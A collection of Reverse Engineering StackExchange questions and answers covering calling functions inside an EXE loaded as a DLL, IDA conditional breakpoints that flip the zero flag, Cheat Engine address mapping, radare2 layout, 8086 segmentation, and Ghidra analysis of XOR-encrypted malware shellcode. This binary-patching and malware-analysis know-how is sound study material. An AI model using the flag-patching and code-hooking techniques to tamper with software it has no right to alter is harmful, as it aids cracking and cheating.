That is to say, the code in the below won't work directly; you'll need to basically twist the compiler's arm to make it work, but it is doable. <a href="https://stackoverflow.com/questions/1307278/casting-between-void-and-a-pointer-to-member-function">See this StackExchange discussion of the situation</a>. One of the answers proposes using a <code>union</code>, which is what I've typically done. See these two blog entries by Raymond Chen discussing why C++ is less tolerant about casts involving member function pointers (TL;DR multiple inheritance): <a href="https://devblogs.microsoft.com/oldnewthing/20040209-00/?p=40713" rel="nofollow noreferrer">one</a>, <a href="https://devblogs.microsoft.com/oldnewthing/20040210-00/?p=40683" rel="nofollow noreferrer">two</a>. Finally, <a href="https://gist.github.com/RolfRolles/7e5103948266202458adfbfaee3265f1" rel="nofollow noreferrer">here's an example of how I used these techniques in a recent project</a>.</p> <p><strong>ORIGINAL TEXT CONTINUES HERE</strong>: You can even wrap this up into a proxy stub function:</p> <pre><code>#define FUNC1_OFFSET 0x4320 // Global function pointer(s) // Note: these are GLOBAL variables, not class members FuncToCall gfp_MemFunc1; // Relocate all necessary addresses // Call this once before calling member function pointers void Init(byte *pDLL) { gfp_MemFunc1 = (FuncToCall)(pDLL + FUNC1_OFFSET); } class MyClass { public: char mData[0x80]; // Make stub functions for members you want to call // Does not affect the layout of the class void MemFunc1Proxy(int arg1, void *arg2) { this-&gt;*gfp_MemFunc1(arg1, arg2); }; }; int main() { MyClass m(); Init(/* address of DLL */); // Call member functions easily via stubs m.MemFunc1Proxy(123,NULL); } </code></pre> <p>For virtual functions, there are two cases. In both cases, you'll need to add compatible virtual function delcarations (in the proper order) to the mock class declaration. Something like:</p> <pre><code>class MyClass { public: char mData[0x80]; virtual void ~MyClass(); virtual int VFunc0x4(int); }; </code></pre> <p>Now, as for the two different cases. First case: if you're able to call a function in the DLL to obtain an instantiated instance of your object, that's all you need; call a virtual function as follows:</p> <pre><code>MyClass *p = fpDLLFuncThatAllocatesMyClass(); int x = p-&gt;VFunc0x4(1); </code></pre> <p>If it's not easy or feasible to obtain a memory instance for <code>MyClass</code> from the DLL, you can just install its VTable yourself.</p> <pre><code>#define VTABLE_OFFSET 0x5670 MyClass *m = new MyClass(); void *VTableAddr = (byte*)pDLL + VTABLE_OFFSET; // Set the VTable pointer to be the VTable address in the DLL *reinterpret_cast&lt;void *&gt;(m) = VTableAddr; int x = p-&gt;VFunc0x4(1); </code></pre> <p>This scheme gives you a bit more flexibility, and does not usually require inline assembly. The exception to this happens when the non-virtual member function that you want to call uses a non-standard calling convention, as happens frequently in MSVC-compiled x86. If the compiler determines that the function will not be accessed outside of the DLL, it's under no obligation to use plain <code>__thiscall</code> as the calling convention, and may use alternative register argument locations. In this situation, you'll have no choice but to use inline assembly language as in josh's answer above.</p>
26006
2020-09-29T19:28:49.840
<p>I have an executable (.exe) containing some classes and functions definition and plan on using those functions from within a DLL, although I know to call a regular C style function using calling convention such as __stdcall e.g.</p> <pre><code>typedef int(*__stdcall CalleeType)(...); int Caller(...) { CalleeType pCallee = nullptr; pCallee = reintepret_cast&lt;CalleeType&gt;(BaseAddress + RVA); return pCallee(); //calls the function as expected from within the dll } </code></pre> <p>Now my problem starts when I am trying to call functions in which <code>ecx</code> register is set before the call mostly a method used by _cdecl calling convention in c++. And if this <code>ecx</code> register is not set before the call of the function the application crashes.</p> <p>I found a solution <a href="http://sandsprite.com/CodeStuff/Using_an_exe_as_a_dll.html" rel="nofollow noreferrer">here</a> to load a using <code>Loadlibrary</code>, it is for me to patch the entry point and set it to return 1, and other stuff that needs to be done before the EXE can become usable as a DLL although this method is a hack but it does show promising results in helping me load this program into memory and call those functions as expected. Although I am confused as to how I can be able to make use of those functions passing <code>ecx</code> since those are c++ style function calls.</p> <p>My Questions are</p> <ol> <li>How do I make this program to execute after loading it using loadlibrary, so that the program can be able to initialize itself properly and can now be able to use properly?</li> <li>How do I make use of a function requiring that <code>ecx</code> register is set to the <code>this</code> pointer?</li> </ol> <p>Any ideas or hint will be very useful to me thanks</p>
how to use class member function defined in a exe within a dll
|windows|assembly|c++|c|
<p>Since in your case the final value of ZF will be zero, there is no need to check the initial value but simply always zero it:</p> <pre><code>ZF=0,0 </code></pre> <p>The <code>,0</code> at the end will ensure that the result of expression is 0 so IDA will continue execution of the program.</p>
26012
2020-09-30T16:48:52.707
<p>In IDA I need to set a breakpoint that once it hit, I want to check if <code>ZF</code> is equal to 1, if it does, I want to change it to 0.</p> <p>I don't know how to do it:<br /> <a href="https://i.stack.imgur.com/0bJI4.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/0bJI4.png" alt="enter image description here" /></a></p> <p>I searched for example scripts in IDC or IDAPython but I didn't find something that shows it.<br /> How can I do it?</p>
How to set conditional breakpoint to modify ZF (Zero flag)
|ida|idapython|idc|
<p>The stack layout at the entry point for 32-bit Linux executables is described in the <a href="http://www.sco.com/developers/devspecs/abi386-4.pdf" rel="nofollow noreferrer"><em>System V Intel386 Architecture ABI Supplement</em></a>.</p> <p>It looks like following:</p> <p><a href="https://i.stack.imgur.com/aFoQi.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/aFoQi.jpg" alt="initial process stack layout" /></a></p> <p>So <code>pop edi</code> copies the <code>argc</code> value into <code>edi</code> and the following code probably builds the <code>argv</code> array for the <code>main</code> function.</p>
26020
2020-10-01T08:34:14.113
<p>I have an ELF binary and in the entry function the first two instructions are:</p> <pre><code>XOR EBP, EBP POP ESI </code></pre> <p>I'm curious what the state of the stack is at the start of the entry function in ELF and PE binaries (and others if possible). I had thought it was empty but presumably there is something there to be <code>pop</code>ed.</p>
What is the state of the stack in the entry function?
|elf|stack|entry-point|
<p>Have you noted the term <code>battlezone2.exe + </code> before the address? That denotes the (usually random) base address of the executable.</p> <p>In IDA this base address is a fixed value e.g. <code>0x400000</code>. Scroll to the beginning of the IDA View and check the <code>Imagebase</code> value (hexadecimal). This value you have to add to every address shown in the Cheat engine.</p> <p>If debugging a process directly with IDA the database is automatically relocated to the correct address so you don't have to do the math yourself.</p> <p>Note: If I interpret the screen shots correctly 0x119EDD (0x519EDD) is the target address of the conditional jump command. Jump commands are used inside a sub, hence you don't leave the current sub and won't find this address in the sub list</p>
26027
2020-10-02T07:08:49.990
<p>I have found a function with Cheat Engine that I like to show in IDA:<a href="https://i.stack.imgur.com/p3UE7.png" rel="nofollow noreferrer">enter image description here</a></p> <p><a href="https://i.stack.imgur.com/vdTXW.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/vdTXW.png" alt="enter image description here" /></a></p> <p>but the function is not present in IDA.</p> <p>Probably I have a bit confusion becouse I don't have experience with this tool.</p> <p>Can you help me ?</p> <p>Thanks !</p> <p>UPDATE:</p> <p>I have tryed to add image base 400000:</p> <p>119EDD + 400000 = 519EDD</p> <p>But 519EDD not exist to IDA:</p> <p><a href="https://i.stack.imgur.com/yCPnz.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/yCPnz.png" alt="enter image description here" /></a></p> <p>There is somthing wrrong ?</p>
A bit confusion with cheat engine function address and IDA subrutine
|ida|disassembly|cheat-engine|
<p>the file command says the binary is unstripped you shouldn't have much problem identifying the arguments</p> <p>the &amp;0xffffffff is a mask to get a 32 bit value from a 64 bit value</p> <p>for example if a function is proto typed as <code>ulong64 foo(ulong64 a, ulong b);</code></p> <p>as x64 calling convention uses 6 registers in linux system ABI <a href="https://stackoverflow.com/questions/17437191/function-parameters-transferred-in-registers-on-64bit-os">RDI, RSI, RDX, RCX, R8, and R9</a> you cannot simply pass rsi without zeroing the upper 32 bits</p> <p>the &amp; 0xffffffff zeros the upper 32 bits of 64 bit register</p> <pre><code>&gt;&gt;&gt; a = 0x123456789abcdef0 &gt;&gt;&gt; b = a &amp; 0xffffffff &gt;&gt;&gt; print(&quot;val32=%016x\nval64=%016x\n&quot; % (b,a)) val32=000000009abcdef0 val64=123456789abcdef0 </code></pre> <p>if the line you pasted is from ghidra then ghidra might be mistaking the use of a register you can over ride the function signature</p>
26028
2020-10-02T07:27:17.560
<p>So, i downloaded the binary. Here are some details before moving forward:</p> <p><code>revbinary: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=2f0bc3cfa6ec6a297f58ae75f8802bd1b5ef7162, not stripped</code></p> <pre><code> linux-vdso.so.1 (0x00007fffec358000) libmariadb.so.3 =&gt; /lib/x86_64-linux-gnu/libmariadb.so.3 (0x00007f1d76fbe000) libcrypto.so.1.1 =&gt; /lib/x86_64-linux-gnu/libcrypto.so.1.1 (0x00007f1d76cd2000) libzip.so.4 =&gt; /lib/x86_64-linux-gnu/libzip.so.4 (0x00007f1d76cb7000) libc.so.6 =&gt; /lib/x86_64-linux-gnu/libc.so.6 (0x00007f1d76af2000) libpthread.so.0 =&gt; /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007f1d76ad0000) libz.so.1 =&gt; /lib/x86_64-linux-gnu/libz.so.1 (0x00007f1d76ab3000) libdl.so.2 =&gt; /lib/x86_64-linux-gnu/libdl.so.2 (0x00007f1d76aab000) libgnutls.so.30 =&gt; /lib/x86_64-linux-gnu/libgnutls.so.30 (0x00007f1d768e1000) libbz2.so.1.0 =&gt; /lib/x86_64-linux-gnu/libbz2.so.1.0 (0x00007f1d768ce000) /lib64/ld-linux-x86-64.so.2 (0x00007f1d7703c000) libp11-kit.so.0 =&gt; /lib/x86_64-linux-gnu/libp11-kit.so.0 (0x00007f1d7679a000) libidn2.so.0 =&gt; /lib/x86_64-linux-gnu/libidn2.so.0 (0x00007f1d76779000) libunistring.so.2 =&gt; /lib/x86_64-linux-gnu/libunistring.so.2 (0x00007f1d765f5000) libtasn1.so.6 =&gt; /lib/x86_64-linux-gnu/libtasn1.so.6 (0x00007f1d765df000) libnettle.so.8 =&gt; /lib/x86_64-linux-gnu/libnettle.so.8 (0x00007f1d7659f000) libhogweed.so.6 =&gt; /lib/x86_64-linux-gnu/libhogweed.so.6 (0x00007f1d76556000) libgmp.so.10 =&gt; /lib/x86_64-linux-gnu/libgmp.so.10 (0x00007f1d764d3000) libffi.so.7 =&gt; /lib/x86_64-linux-gnu/libffi.so.7 (0x00007f1d764c7000) </code></pre> <p>So, as you can see it depends upon <code>libcrypto.so</code> which is i think openssl library. Now debugging a a function called from main, named <code>process_data</code> has this code as ghidra gave with some modification: <a href="https://cdn.discordapp.com/attachments/716265091489595473/761480880060366848/mysql_zip.c" rel="nofollow noreferrer">process_data_code</a></p> <p>Now, i know upto md5 part that it get data from message table and stores a row....... So, i came to md5sum part, its passing the variables to md5sum but i dont know what are the functions of md5sum parameters. If it were libc functions like snprintf or fputs i could see manpage or try googling but it didnt give me nice results. This stackoverflow answer</p> <p><a href="https://i.stack.imgur.com/uKydD.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/uKydD.png" alt="Stackoverflow" /></a> says the first parameter is password, second is length of password and third is some weird shit. So, if you see the code you will get md5sum has 4 parameters</p> <p><code>md5sum(random_mysql_rows_bufarray,mysql_rows_buffer_length &amp; 0xffffffff, filename_ofvarlocal, mysql_rows_buffer_length &amp; 0xffffffff);</code></p> <p>Also, that answer says md5sum having 4 parameter isnt openssl md5. I just want to figure out what is the function of those 4 parameters in md5sum. Also if you could explain what is the weird <code>&amp; 0xfffffff</code> thing then it would be great! Here's the binary : <a href="https://cdn.discordapp.com/attachments/716265091489595473/761489241875808266/revbinary" rel="nofollow noreferrer">reverse binary</a></p> <p>Yeah, md5sum takes 4 parameter, got it.</p>
How do i identify parameters function of md5sum of specific binary?
|decompilation|elf|ghidra|binary|openssl|
<p>Windows Pe File in disk is aligned to 0x200 bytes normally<br /> The Same File when Loaded in memory is aligned to 0x1000 normally</p> <pre><code>C:\&gt;radare2 -q -c &quot;iH~Al&quot; c:\Windows\System32\calc.exe SectionAlignment : 0x1000 FileAlignment : 0x200 </code></pre> <p>Windows Pe File is split into sections and Each Section File Address and Load Address is given in PE Header</p> <pre><code>C:\&gt;radare2 -q -c &quot;iS&quot; c:\Windows\System32\calc.exe [Sections] Nm Paddr Size Vaddr Memsz Perms Name 00 0x00000400 339456 0x01001000 339968 -r-x .text 01 0x00053200 16896 0x01054000 20480 -rw- .data 02 0x00057400 403456 0x01059000 405504 -r-- .rsrc 03 0x000b9c00 15360 0x010bc000 16384 -r-- .reloc </code></pre> <p>By Default the pe header is loaded at Imagebase</p> <pre><code>C:\&gt;radare2 -q -c &quot;iH~ImageBase&quot; c:\Windows\System32\calc.exe ImageBase : 0x1000000 </code></pre> <p>given these Data You Can Deduce the mapping</p> <p>so the bytes You See at 0x400 (first Section File Address ) in a physical file can be seen at ImageBase+Vaddr of a Loaded Module (0x1000000+0x1000)</p> <p>lets check some random address mapping</p> <pre><code>C:\&gt;radare2 -q -c &quot;s 0x1065ef0;px 10;iS.&quot; c:\Windows\System32\calc.exe - offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF 0x01065ef0 0000 1562 4f49 4949 4b46 ...bOIIIKF Current section Nm Paddr Size Vaddr Memsz Perms Checksum Name 00 0x00057400 403456 0x01059000 405504 -r-- .rsrc </code></pre> <p>so to check we need to see if this offset in file contains same data</p> <pre><code>&gt; 0x1065ef0-0x1059000+0x57400 ans = 0x000642F0 E:\&gt;git\usr\bin\xxd.exe -s 0x642f0 -l 10 c:\Windows\System32\calc.exe 000642f0: 0000 1562 4f49 4949 4b46 ...bOIIIKF </code></pre> <p>matches</p>
26036
2020-10-03T15:41:35.650
<p>Firstly Hello,</p> <p>this is my first post on this forum even though im reading alot here.</p> <p>Im trying to get into reversing and Low-Level stuff in general lately, and im a bit stuck right here.</p> <p>I did read alot about the PE-File Format and how virtual memory and loading exes into the memory works. Right now im just reversing/debugging a simple HelloWorld written in C++ to understand whats going on.</p> <p>Im just looking at it with radare2 and dont really understand what radare does when it opens a file. I thought its like a hexeditor with additional functionality like disassembly and detecting functions and more. But when im going to address 0x0 in radare2 it doesnt match 0x0 when i look at the file in my hexeditor. More precicly radare2 does seem to set everything apart from a certain area around entry0 to be 0xff.</p> <p>So my guess is that radare2 is trying to show how the file would look like if its loaded in memory with resolved tables for imported functions and stuff.</p> <p>The thing is im not really sure what im supposed to google to verify this. Thats why im asking here.</p> <p>If someone could give me a little bit of insight on what is going on there would make my day. ;)</p> <p>Thanks in advance.</p>
How does radare2 create its memory layout?
|radare2|memory|
<p><a href="https://www.chzsoft.de/site/hardware/reverse-engineering-a-wifi-microscope/" rel="nofollow noreferrer">This person</a> has a microscope with apparently an identical WiFi camera module and detailed his reverse engineering efforts. It turns out the first 1450 byte packet has a short header followed by the bytes to begin a jpeg image, and the end of variable-length packet ends the jpeg image. Concatenating all the packets and stripping the header gives the data for a jpeg.</p>
26040
2020-10-03T22:34:33.120
<p>I have a WiFi webcam that I'm trying to get to stream to my computer. I'm able to get the camera to send data to my computer, but I don't know how to decode it. The data consists of 11 1450 byte packets, followed by 1 packet with a variable size, typically about 800 bytes. This pattern repeats about 20 times per second. If I can figure out how to take those packets and turn them into a common media stream that I can open with VLC or the like, I'll be in good shape.</p> <p>I decompiled the manufacturer's app, DM WiFi. I've been looking through it, and so far the only concrete information I've found is that H.264 is being used, according to in com.joyhonest.wifination.VideoMediaCoder (joyhonest is a manufacturer of WiFi camera modules). I still don't know where the program is reading in the WiFi data, or how it processes it before it becomes the standard H.264 stream (e.g. stripping headers). At this point, I'm hampered by my lack of Java/Android knowledge. For instance, I can find a prototype for the function naWriteport20000, presumably sending data to the camera, whose UDP port 20000 is open. But I can't find a more substantial definition for the function that might help point me towards how data is received. As someone who hasn't written Java in 5 years and who has never touched Android app development, how should I approach dissecting this program?</p>
Understanding how a WiFi camera app goes from packet data to video stream
|decompilation|android|
<p>You are referring to the early 80s of the last century. The 8086 architecture used this way of addressing 20-bit physical memory, the then tremendous amount of 1 (One!) MByte, or &quot;one million bytes of memory&quot;, as Intel calls it in /1/, p.2-7.</p> <p>These &quot;logical addresses&quot;, as Intel called them in /1/, served primarily two purposes:</p> <ol> <li>One idea behind this segment:offset scheme was to have segments of each 64kB in size which could be used anywhere (at 16Byte boundaries) in the available 20-Bit address space (8086), making these segments independent of the physical address. Intel writes in /1/, p2-8:</li> </ol> <p>&quot;Segmentation makes it easy to build relocatable and reentrant programs. ... (relocation means having the ability to run the same program in several different areas of memory without changing the adresses in the program itself)...&quot;</p> <ol start="2"> <li>Another idea was to separate logical different parts of the memory in different segemts. The main identified memory regions were: Code, Data. Stack and Extra (the latter e.g. used as destination for data transfers). As a consequence the segment registers were named accordingly as CS, DS, SS and ES. These names survived until today (in the 32-bit world). Later FS and GS segment registers were added, used for specific regions for the Operating System.</li> </ol> <p>Thus, to answer your first question, offsets of four instead of 16 bits could not have been used to build the segments of 64kB each, intended to be relocated if necessary. 64kB segment size are a &quot;natural&quot; value in a 16-Bit system like the 8086.</p> <p>Regarding your second question, there might of course be a problem with overlapping segments if they are not treated carefully, e.g. when code and data overlap. But it was explicitly intended by Intel that segments could overlap in the most possible way, by giving them all the same value, allowing this segmented architecture be used in systems with only 64kByte of memory.</p> <p>According to Intel (/1/, p.2-8): &quot;In a system where the total amount of memory is 64K bytes or less, it is possible to set all segment registers equal and have fully overlapping segments.&quot;</p> <p>/1/: iAPX 86, 88, 168 and 188 User's Manual, Programmers Reference, Intel 1983</p>
26046
2020-10-04T17:29:23.020
<p>I was told that <code>segment:offset</code> pairs were used to represent 20 bits. The segment is 4 bit shifted, and the value plus the offset becomes the physical address. I don't have to worry anymore at 32-bit system, but I'm still curious.</p> <ol> <li>Why were offsets allocated 16 bits, not 4 bits?</li> <li>Is there no problem with many virtual addresses correspond to one physical address?</li> </ol>
Why is the offset 16 bits?
|assembly|register|
<p>Starting from address <code>0x56</code> all your instructions seems to be off. And if you look closely it there is a pattern how much off they are from the original.</p> <p>For example, at offset <code>0x58</code>, there's supposed to be <code>push edx</code> so the byte should be <code>0x52</code>, but you have <code>push esp</code> which is <code>0x54</code>. Since the article mentions that this part is encrypted with a xor (with a single digit key), let's see how those values are off</p> <pre><code>In [7]: 0x52 ^ 0x54 Out[7]: 6 </code></pre> <p>So this is exactly the key mentioned in the article. If we compare the rest of those off instruction we will notice that they are off by the same value.</p> <p>Conclusion - this part of code shown in Ghidra was not decrypted and should be preprocessed before analysis.</p>
26047
2020-10-04T18:13:07.977
<p>I'm trying to follow along with this tutorial which is using IDA in it's example. <a href="https://0ffset.net/reverse-engineering/malware-analysis/common-shellcode-techniques/" rel="nofollow noreferrer">https://0ffset.net/reverse-engineering/malware-analysis/common-shellcode-techniques/</a></p> <p>Hash: 9d7e34250477acf632c6c32fc2c50d3b</p> <p>In the example, after decryption of the stage 2 this is the result: <a href="https://i.stack.imgur.com/F4vYU.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/F4vYU.png" alt="enter image description here" /></a> <a href="https://i.stack.imgur.com/1NqDr.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/1NqDr.png" alt="enter image description here" /></a></p> <p>When I repeat the same steps with Ghidra I get the following result: <a href="https://i.stack.imgur.com/7YEFh.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/7YEFh.png" alt="enter image description here" /></a> <a href="https://i.stack.imgur.com/Bjyux.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/Bjyux.png" alt="enter image description here" /></a></p> <p>I've been following the assembly trying to see if I could figure out what when wrong or what is going on with no results yet.</p> <p>While searching, I came across these references: <a href="https://c9x.me/x86/html/file_module_x86_id_139.html" rel="nofollow noreferrer">https://c9x.me/x86/html/file_module_x86_id_139.html</a> <a href="https://en.wikipedia.org/wiki/HLT_(x86_instruction)" rel="nofollow noreferrer">https://en.wikipedia.org/wiki/HLT_(x86_instruction)</a></p> <p>It would be appreciated if someone could point me in the right direction.</p> <p>EDIT: After Paweł Łukasik pointed out my error, it works: <a href="https://i.stack.imgur.com/kaieR.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/kaieR.png" alt="enter image description here" /></a></p>
Statically Reverse Engineering Shellcode - IDA to Ghidra
|ida|disassembly|binary-analysis|ghidra|shellcode|